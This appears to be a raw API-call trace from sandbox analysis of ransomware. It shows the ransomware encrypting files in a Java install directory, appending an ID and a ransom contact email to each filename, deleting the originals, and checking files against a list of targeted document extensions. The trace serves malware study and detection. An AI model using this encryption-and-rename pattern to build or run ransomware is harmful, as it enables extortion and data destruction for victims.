	[0095.365] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfc64 | out: lpNewFilePointer=0x0) returned 1
	[0095.365] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfc24 | out: lpNewFilePointer=0x0) returned 1
	[0095.365] ReadFile (in: hFile=0x35c, lpBuffer=0x3c36058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38cfc30, lpOverlapped=0x0 | out: lpBuffer=0x3c36058*, lpNumberOfBytesRead=0x38cfc30*=0x40000, lpOverlapped=0x0) returned 1
	[0095.389] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x2ccec0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfc24 | out: lpNewFilePointer=0x0) returned 1
	[0095.389] ReadFile (in: hFile=0x35c, lpBuffer=0x3c76058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38cfc30, lpOverlapped=0x0 | out: lpBuffer=0x3c76058*, lpNumberOfBytesRead=0x38cfc30*=0x40000, lpOverlapped=0x0) returned 1
	[0095.420] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x38cfc64 | out: lpNewFilePointer=0xffffffff) returned 1
	[0095.420] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x826c40, lpNewFilePointer=0x0, dwMoveMethod=0x38cfc24 | out: lpNewFilePointer=0x0) returned 1
	[0095.420] ReadFile (in: hFile=0x35c, lpBuffer=0x3cb6058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38cfc30, lpOverlapped=0x0 | out: lpBuffer=0x3cb6058*, lpNumberOfBytesRead=0x38cfc30*=0x40000, lpOverlapped=0x0) returned 1
	[0095.536] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.536] WriteFile (in: hFile=0x35c, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0xc00fa, lpNumberOfBytesWritten=0x38cfca8, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfca8*=0xc00fa, lpOverlapped=0x0) returned 1
	[0095.553] SetEndOfFile (hFile=0x35c) returned 1
	[0095.553] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x40000) returned 0x3ecb010
	[0095.946] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfc74 | out: lpNewFilePointer=0x0) returned 1
	[0095.946] WriteFile (in: hFile=0x35c, lpBuffer=0x3ecb010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38cfc80, lpOverlapped=0x0 | out: lpBuffer=0x3ecb010*, lpNumberOfBytesWritten=0x38cfc80*=0x40000, lpOverlapped=0x0) returned 1
	[0095.948] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x2ccec0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfc74 | out: lpNewFilePointer=0x0) returned 1
	[0095.948] WriteFile (in: hFile=0x35c, lpBuffer=0x3ecb010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38cfc80, lpOverlapped=0x0 | out: lpBuffer=0x3ecb010*, lpNumberOfBytesWritten=0x38cfc80*=0x40000, lpOverlapped=0x0) returned 1
	[0096.004] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x826c40, lpNewFilePointer=0x0, dwMoveMethod=0x38cfc74 | out: lpNewFilePointer=0x0) returned 1
	[0096.004] WriteFile (in: hFile=0x35c, lpBuffer=0x3ecb010*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38cfc80, lpOverlapped=0x0 | out: lpBuffer=0x3ecb010*, lpNumberOfBytesWritten=0x38cfc80*=0x40000, lpOverlapped=0x0) returned 1
	[0096.007] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3ecb010 | out: hHeap=0x500000) returned 1
	[0096.007] CloseHandle (hObject=0x35c) returned 1
	[0096.007] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0096.008] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll") returned 53
	[0096.008] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll") returned 53
	[0096.008] lstrlenW (lpString=".doc") returned 4
	[0096.008] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0096.008] lstrlenW (lpString=".docx") returned 5
	[0096.008] lstrcmpiW (lpString1=".docx", lpString2="m.dll") returned -1
	[0096.008] lstrlenW (lpString=".pdf") returned 4
	[0096.008] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0096.008] lstrlenW (lpString=".xls") returned 4
	[0096.008] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0096.008] lstrlenW (lpString=".xlsx") returned 5
	[0096.008] lstrcmpiW (lpString1=".xlsx", lpString2="m.dll") returned -1
	[0096.008] lstrlenW (lpString=".ppt") returned 4
	[0096.008] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0096.008] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll") returned 53
	[0096.008] lstrlenW (lpString=".zip") returned 4
	[0096.008] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0096.008] lstrlenW (lpString=".rar") returned 4
	[0096.008] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0096.008] lstrlenW (lpString=".bz2") returned 4
	[0096.008] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0096.008] lstrlenW (lpString=".7z") returned 3
	[0096.008] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0096.008] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll") returned 53
	[0096.008] lstrlenW (lpString=".dbf") returned 4
	[0096.008] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0096.008] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll") returned 53
	[0096.008] lstrlenW (lpString=".1cd") returned 4
	[0096.008] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0096.008] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll") returned 53
	[0096.008] lstrlenW (lpString=".jpg") returned 4
	[0096.008] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0096.009] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll") returned 53
	[0096.009] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll") returned 53
	[0096.009] lstrlenW (lpString=".doc") returned 4
	[0096.009] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0096.009] lstrlenW (lpString=".docx") returned 5
	[0096.009] lstrcmpiW (lpString1=".docx", lpString2="m.dll") returned -1
	[0096.009] lstrlenW (lpString=".pdf") returned 4
	[0096.009] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0096.009] lstrlenW (lpString=".xls") returned 4
	[0096.009] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0096.009] lstrlenW (lpString=".xlsx") returned 5
	[0096.009] lstrcmpiW (lpString1=".xlsx", lpString2="m.dll") returned -1
	[0096.009] lstrlenW (lpString=".ppt") returned 4
	[0096.009] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0096.009] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll") returned 53
	[0096.009] lstrlenW (lpString=".zip") returned 4
	[0096.009] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0096.009] lstrlenW (lpString=".rar") returned 4
	[0096.009] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0096.009] lstrlenW (lpString=".bz2") returned 4
	[0096.009] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0096.009] lstrlenW (lpString=".7z") returned 3
	[0096.009] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0096.009] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll") returned 53
	[0096.009] lstrlenW (lpString=".dbf") returned 4
	[0096.009] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0096.009] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll") returned 53
	[0096.009] lstrlenW (lpString=".1cd") returned 4
	[0096.009] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0096.009] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\jvm.dll") returned 53
	[0096.009] lstrlenW (lpString=".jpg") returned 4
	[0096.009] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0096.009] lstrcmpiW (lpString1=".0_144\\lib\\classlist", lpString2=".Z9") returned -1
	[0096.010] lstrlenW (lpString="classlist") returned 9
	[0096.010] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0096.010] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=84355) returned 1
	[0096.010] CloseHandle (hObject=0x35c) returned 1
	[0096.010] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist")) returned 0x20
	[0096.010] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0096.010] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0096.010] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.010] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.011] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0096.011] GetLastError () returned 0x0
	[0096.011] ReadFile (in: hFile=0x35c, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x14983, lpOverlapped=0x0) returned 1
	[0096.016] WriteFile (in: hFile=0x384, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x14990, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x14990, lpOverlapped=0x0) returned 1
	[0096.019] ReadFile (in: hFile=0x35c, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0096.019] WriteFile (in: hFile=0x384, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0xe6, lpOverlapped=0x0) returned 1
	[0096.019] SetEndOfFile (hFile=0x384) returned 1
	[0096.019] CloseHandle (hObject=0x384) returned 1
	[0096.019] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.019] SetEndOfFile (hFile=0x35c) returned 1
	[0096.022] CloseHandle (hObject=0x35c) returned 1
	[0096.022] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0096.023] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\classlist")) returned 1
	[0096.023] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48
	[0096.023] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48
	[0096.023] lstrlenW (lpString=".doc") returned 4
	[0096.023] lstrcmpiW (lpString1=".doc", lpString2="list") returned -1
	[0096.023] lstrlenW (lpString=".docx") returned 5
	[0096.023] lstrcmpiW (lpString1=".docx", lpString2="slist") returned -1
	[0096.023] lstrlenW (lpString=".pdf") returned 4
	[0096.023] lstrcmpiW (lpString1=".pdf", lpString2="list") returned -1
	[0096.023] lstrlenW (lpString=".xls") returned 4
	[0096.023] lstrcmpiW (lpString1=".xls", lpString2="list") returned -1
	[0096.023] lstrlenW (lpString=".xlsx") returned 5
	[0096.023] lstrcmpiW (lpString1=".xlsx", lpString2="slist") returned -1
	[0096.023] lstrlenW (lpString=".ppt") returned 4
	[0096.023] lstrcmpiW (lpString1=".ppt", lpString2="list") returned -1
	[0096.023] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48
	[0096.023] lstrlenW (lpString=".zip") returned 4
	[0096.023] lstrcmpiW (lpString1=".zip", lpString2="list") returned -1
	[0096.023] lstrlenW (lpString=".rar") returned 4
	[0096.023] lstrcmpiW (lpString1=".rar", lpString2="list") returned -1
	[0096.023] lstrlenW (lpString=".bz2") returned 4
	[0096.023] lstrcmpiW (lpString1=".bz2", lpString2="list") returned -1
	[0096.023] lstrlenW (lpString=".7z") returned 3
	[0096.023] lstrcmpiW (lpString1=".7z", lpString2="ist") returned -1
	[0096.024] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48
	[0096.024] lstrlenW (lpString=".dbf") returned 4
	[0096.024] lstrcmpiW (lpString1=".dbf", lpString2="list") returned -1
	[0096.024] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48
	[0096.024] lstrlenW (lpString=".1cd") returned 4
	[0096.024] lstrcmpiW (lpString1=".1cd", lpString2="list") returned -1
	[0096.024] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48
	[0096.024] lstrlenW (lpString=".jpg") returned 4
	[0096.024] lstrcmpiW (lpString1=".jpg", lpString2="list") returned -1
	[0096.024] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48
	[0096.024] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48
	[0096.024] lstrlenW (lpString=".doc") returned 4
	[0096.024] lstrcmpiW (lpString1=".doc", lpString2="list") returned -1
	[0096.024] lstrlenW (lpString=".docx") returned 5
	[0096.024] lstrcmpiW (lpString1=".docx", lpString2="slist") returned -1
	[0096.024] lstrlenW (lpString=".pdf") returned 4
	[0096.024] lstrcmpiW (lpString1=".pdf", lpString2="list") returned -1
	[0096.024] lstrlenW (lpString=".xls") returned 4
	[0096.024] lstrcmpiW (lpString1=".xls", lpString2="list") returned -1
	[0096.024] lstrlenW (lpString=".xlsx") returned 5
	[0096.024] lstrcmpiW (lpString1=".xlsx", lpString2="slist") returned -1
	[0096.024] lstrlenW (lpString=".ppt") returned 4
	[0096.024] lstrcmpiW (lpString1=".ppt", lpString2="list") returned -1
	[0096.024] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48
	[0096.024] lstrlenW (lpString=".zip") returned 4
	[0096.024] lstrcmpiW (lpString1=".zip", lpString2="list") returned -1
	[0096.024] lstrlenW (lpString=".rar") returned 4
	[0096.024] lstrcmpiW (lpString1=".rar", lpString2="list") returned -1
	[0096.024] lstrlenW (lpString=".bz2") returned 4
	[0096.024] lstrcmpiW (lpString1=".bz2", lpString2="list") returned -1
	[0096.024] lstrlenW (lpString=".7z") returned 3
	[0096.024] lstrcmpiW (lpString1=".7z", lpString2="ist") returned -1
	[0096.024] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48
	[0096.024] lstrlenW (lpString=".dbf") returned 4
	[0096.024] lstrcmpiW (lpString1=".dbf", lpString2="list") returned -1
	[0096.025] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48
	[0096.025] lstrlenW (lpString=".1cd") returned 4
	[0096.025] lstrcmpiW (lpString1=".1cd", lpString2="list") returned -1
	[0096.025] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\classlist") returned 48
	[0096.025] lstrlenW (lpString=".jpg") returned 4
	[0096.025] lstrcmpiW (lpString1=".jpg", lpString2="list") returned -1
	[0096.025] lstrcmpiW (lpString1=".pf", lpString2=".Z9") returned -1
	[0096.025] lstrlenW (lpString="CIEXYZ.pf") returned 9
	[0096.025] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0096.025] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=51236) returned 1
	[0096.025] CloseHandle (hObject=0x35c) returned 1
	[0096.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf")) returned 0x20
	[0096.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0096.025] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0096.026] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.026] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.026] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0096.036] GetLastError () returned 0x0
	[0096.036] ReadFile (in: hFile=0x35c, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0xc824, lpOverlapped=0x0) returned 1
	[0096.053] WriteFile (in: hFile=0x384, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0xc830, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0xc830, lpOverlapped=0x0) returned 1
	[0096.055] ReadFile (in: hFile=0x35c, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0096.055] WriteFile (in: hFile=0x384, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0xe6, lpOverlapped=0x0) returned 1
	[0096.055] SetEndOfFile (hFile=0x384) returned 1
	[0096.055] CloseHandle (hObject=0x384) returned 1
	[0096.055] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0096.055] SetEndOfFile (hFile=0x35c) returned 1
	[0096.056] CloseHandle (hObject=0x35c) returned 1
	[0096.056] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0096.056] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf")) returned 1
	[0096.057] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52
	[0096.057] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52
	[0096.057] lstrlenW (lpString=".doc") returned 4
	[0096.057] lstrcmpiW (lpString1=".doc", lpString2="Z.pf") returned -1
	[0096.057] lstrlenW (lpString=".docx") returned 5
	[0096.057] lstrcmpiW (lpString1=".docx", lpString2="YZ.pf") returned -1
	[0096.057] lstrlenW (lpString=".pdf") returned 4
	[0096.057] lstrcmpiW (lpString1=".pdf", lpString2="Z.pf") returned -1
	[0096.057] lstrlenW (lpString=".xls") returned 4
	[0096.057] lstrcmpiW (lpString1=".xls", lpString2="Z.pf") returned -1
	[0096.057] lstrlenW (lpString=".xlsx") returned 5
	[0096.057] lstrcmpiW (lpString1=".xlsx", lpString2="YZ.pf") returned -1
	[0096.057] lstrlenW (lpString=".ppt") returned 4
	[0096.057] lstrcmpiW (lpString1=".ppt", lpString2="Z.pf") returned -1
	[0096.057] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52
	[0096.057] lstrlenW (lpString=".zip") returned 4
	[0096.057] lstrcmpiW (lpString1=".zip", lpString2="Z.pf") returned -1
	[0096.057] lstrlenW (lpString=".rar") returned 4
	[0096.057] lstrcmpiW (lpString1=".rar", lpString2="Z.pf") returned -1
	[0096.057] lstrlenW (lpString=".bz2") returned 4
	[0096.057] lstrcmpiW (lpString1=".bz2", lpString2="Z.pf") returned -1
	[0096.057] lstrlenW (lpString=".7z") returned 3
	[0096.057] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1
	[0096.057] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52
	[0096.057] lstrlenW (lpString=".dbf") returned 4
	[0096.057] lstrcmpiW (lpString1=".dbf", lpString2="Z.pf") returned -1
	[0096.057] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52
	[0096.057] lstrlenW (lpString=".1cd") returned 4
	[0096.057] lstrcmpiW (lpString1=".1cd", lpString2="Z.pf") returned -1
	[0096.057] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52
	[0096.057] lstrlenW (lpString=".jpg") returned 4
	[0096.057] lstrcmpiW (lpString1=".jpg", lpString2="Z.pf") returned -1
	[0096.057] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52
	[0096.057] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52
	[0096.057] lstrlenW (lpString=".doc") returned 4
	[0096.057] lstrcmpiW (lpString1=".doc", lpString2="Z.pf") returned -1
	[0096.058] lstrlenW (lpString=".docx") returned 5
	[0096.058] lstrcmpiW (lpString1=".docx", lpString2="YZ.pf") returned -1
	[0096.058] lstrlenW (lpString=".pdf") returned 4
	[0096.058] lstrcmpiW (lpString1=".pdf", lpString2="Z.pf") returned -1
	[0096.058] lstrlenW (lpString=".xls") returned 4
	[0096.058] lstrcmpiW (lpString1=".xls", lpString2="Z.pf") returned -1
	[0096.058] lstrlenW (lpString=".xlsx") returned 5
	[0096.058] lstrcmpiW (lpString1=".xlsx", lpString2="YZ.pf") returned -1
	[0096.058] lstrlenW (lpString=".ppt") returned 4
	[0096.058] lstrcmpiW (lpString1=".ppt", lpString2="Z.pf") returned -1
	[0096.058] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52
	[0096.058] lstrlenW (lpString=".zip") returned 4
	[0096.058] lstrcmpiW (lpString1=".zip", lpString2="Z.pf") returned -1
	[0096.058] lstrlenW (lpString=".rar") returned 4
	[0096.058] lstrcmpiW (lpString1=".rar", lpString2="Z.pf") returned -1
	[0096.058] lstrlenW (lpString=".bz2") returned 4
	[0096.058] lstrcmpiW (lpString1=".bz2", lpString2="Z.pf") returned -1
	[0096.058] lstrlenW (lpString=".7z") returned 3
	[0096.058] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1
	[0096.058] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52
	[0096.058] lstrlenW (lpString=".dbf") returned 4
	[0096.058] lstrcmpiW (lpString1=".dbf", lpString2="Z.pf") returned -1
	[0096.058] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52
	[0096.058] lstrlenW (lpString=".1cd") returned 4
	[0096.058] lstrcmpiW (lpString1=".1cd", lpString2="Z.pf") returned -1
	[0096.058] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52
	[0096.058] lstrlenW (lpString=".jpg") returned 4
	[0096.058] lstrcmpiW (lpString1=".jpg", lpString2="Z.pf") returned -1
	[0096.058] lstrcmpiW (lpString1=".pf", lpString2=".Z9") returned -1
	[0096.058] lstrlenW (lpString="GRAY.pf") returned 7
	[0096.059] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0096.059] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=632) returned 1
	[0096.059] CloseHandle (hObject=0x35c) returned 1
	[0096.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf")) returned 0x20
	[0096.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
